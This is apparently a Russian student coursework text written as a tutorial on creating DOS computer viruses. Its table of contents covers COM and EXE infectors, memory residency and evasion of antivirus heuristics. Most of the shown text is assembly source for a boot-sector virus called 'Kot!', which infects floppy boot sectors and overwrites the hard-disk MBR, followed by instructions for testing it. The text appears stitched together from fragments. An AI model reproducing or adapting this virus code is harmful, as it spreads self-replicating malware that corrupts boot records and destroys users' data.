Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа
Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-
ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82
ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного
db 0eah ;Перейдем к сис-
old_13h dw 0 ;темному обра-
old_13h_2 dw 0 ;ботчику Int 13h
boot_infect proc ;
push ax ;Сохраним реги-
push bx ;стры в стеке
push cx ;прерванного
push dx ;процесса
push di ;
push ds ;
push es ;
pushf ;
push cs ;ES = CS
pop es ;
push cs ;DS = CS
pop ds ;
mov cx,3 ;Попробуем про-
next_read: push cx ;честь BOOT -
call cs:read_mbr ;На это даем три
pop cx ;попытки (напри-
jnc cs:inf_check ;мер,если двига-
xor ah,ah ;При ошибке -
pushf ;сбросим текущий
call dword ptr old_13h - 100h ;дисковод
jc cs:to_jump ;и повторим
loop cs:next_read ;чтение
to_jump: jmp cs:restore_regs ;
inf_check: cmp byte ptr ds:[455h],33h
je cs:to_jump ;Да !
cmp word ptr ds:[40bh],200h ;512 байт в
jne cs:to_jump ;Нет !
mov dl_save - 100h,dl
mov ch,79 ;Определим
mov dh,byte ptr ds:[415h]
cmp dh,0f0h ;параметры
je cs:real_80 ;дискеты
cmp dh,0f9h ;по ее
je cs:real_80 ;Media
cmp dh,0fdh ;Descryptor
jne cs:to_jump ;
mov ch,39 ;
real_80: mov dh,01h ;
mov cl,byte ptr ds:[418h]
;тоящий BOOT в
xor dl,dl ;
call cs:write_mbr_last ;
jc cs:to_jump ;
mov additor - 100h,055h;Сформируем код,
xor di,di ;который нужно
mov cx,prg_lenght ;записать на
copy_vir: mov al,byte ptr ds:[di];дискету вместо
mov byte ptr ds:[di + 455h],al ;исходной BOOT -
inc di ;записи
loop cs:copy_vir ;
mov word ptr ds:[400h],053ebh ;
xor dh,dh ;И запишем его
call cs:write_mbr ;в первый
restore_regs:
popf ;стека регистры
pop es ;
pop ds ;
pop di ;
pop dx ;
pop cx ;
pop bx ;
pop ax ;
ret ;Выйдем из про-
boot_infect endp ;
read_mbr proc ;
xor dh,dh ;
mov ax,0201h ;Процедура
mov bx,400h ;читает первый
mov cx,01h ;сектор нулевой
pushf ;дорожки нулевой
call dword ptr old_13h - 100h ;стороны указан-
ret ;ного накопителя
read_mbr endp ;
write_mbr proc ;
mov ax,0301h ;Процедура
mov cx,01h ;помещает вирус-
pushf ;ный код в BOOT-
call dword ptr old_13h - 100h ;сектор дискеты
ret ;или записывает
write_mbr endp ;его вместо MBR
write_mbr_last proc ;Процедура
mov num_head - 100h,dx ;в заданный
mov cyl_sect - 100h,cx ;сектор зара-
mov dl,dl_save - 100h ;жаемого
mov ax,0301h ;
pushf ;
call dword ptr old_13h - 100h ;
ret ;
write_mbr_last endp ;
db 'Kot!' ;Название вируса
dl_save db 0 ;Ячейка для вре-
;менного хране-
num_head dw 0 ;Здесь вирус
cyl_sect dw 0 ;хранит номер
;сана настоящая
vvv dw 004ch ;Смещение к век-
prg_lenght equ $ - my_prg
installer: lea si,my_prg ;Подменим коман-
mov byte ptr [si],33h ;ду перехода на
mov byte ptr [si + 1],0c0h ;первые три бай-
mov byte ptr [si + 2],8eh ;та кода вируса
mov ax,0201h ;
mov cx,01h ;
xor dx,dx ;
lea bx,bufer ;
int 13h ;
jc error ;
push es ;Получим пара-
mov ah,08h ;метры дискеты
xor dl,dl ;
int 13h ;
jnc all_good ;
cmp ah,01h ;
jne error ;
mov dh,01h ;
mov ch,27h ;
mov cl,byte ptr bufer [18h] ;
all_good: xor dl,dl ;
mov num_head,dx ;
mov cyl_sect,cx ;
pop es ;
;Перепишем нас-
mov ax,0301h ;
lea bx,bufer ;
int 13h ;
jc error ;
;записи
mov additor,055h ;
lea si,bufer + 55h ;
lea di,my_prg ;
mov cx,prg_lenght ;
copy_boot: mov al,byte ptr [di] ;
mov byte ptr [si],al ;
inc si ;
inc di ;
loop copy_boot ;
mov word ptr bufer[0],053ebh ;
mov ax,0301h ;
mov cx,01h ;
mov dx,0 ;
lea bx,bufer ;
int 13h ;
jnc prg_end ;
error: mov ah,09h ;Если была оши-
lea dx,err_mes ;бка - выведем
int 21h ;сообщение о ней
prg_end: mov ax,4c00h ;Завершаем за-
int 21h ;пускающую про-
;грамму
err_mes db 'Error !$' ;Сообщение
bufer db 512 dup ( 0 ) ;В этот буфер
;заражаемой
prg ends ;Стандартное
end my_prg ;окончание ASM-
1.16 Комментарии
Вирус,который мы разработали в этой главе, заража-
ет BOOT - сектора дискет и MBR жесткого диска. Как
вы убедились, написать загрузочный вирус совсем
несложно - гораздо легче,чем, скажем, файловый.Тем
не менее я настоятельно рекомендую читателям по-
пробовать " поймать " один из существующих загру-
зочных вирусов и исследовать его работу. Для начи-
нающих можно порекомендовать FORM или KONSTANTIN .
Если же вы достаточно опытный вирусолог, то можете
помериться силами с ONEHALF или другим шифрованным
вирусом. Правда учтите, что экспериментировать с
чужими вирусными программами надо осторожно - не-
которые из них при трассировке вирусного кода мо-
гут испортить " винчестер " вашего компьютера.
1.17 Испытание вируса
Для проверки в действии загрузочного вируса доста-
точно загрузиться с зараженного магнитного диска.
Понаблюдайте, как вирус заражает дискеты и в каких
случаях. Попробуйте найти в памяти вирусный код, а
найдя - пройдите его отладчиком.
Перед проведением экспериментов с предложенной
программой обязательно скопируйте оригинальную MBR
жесткого диска в отдельный файл на дискете. Если
этого не сделать, вы рискуете потерять данные на
винчестере.
Все проверки вирусной программы рекомендуется про-
водить с помощью программы DISKEDIT, желательно
одной из последних версий. С помощью этой же прог-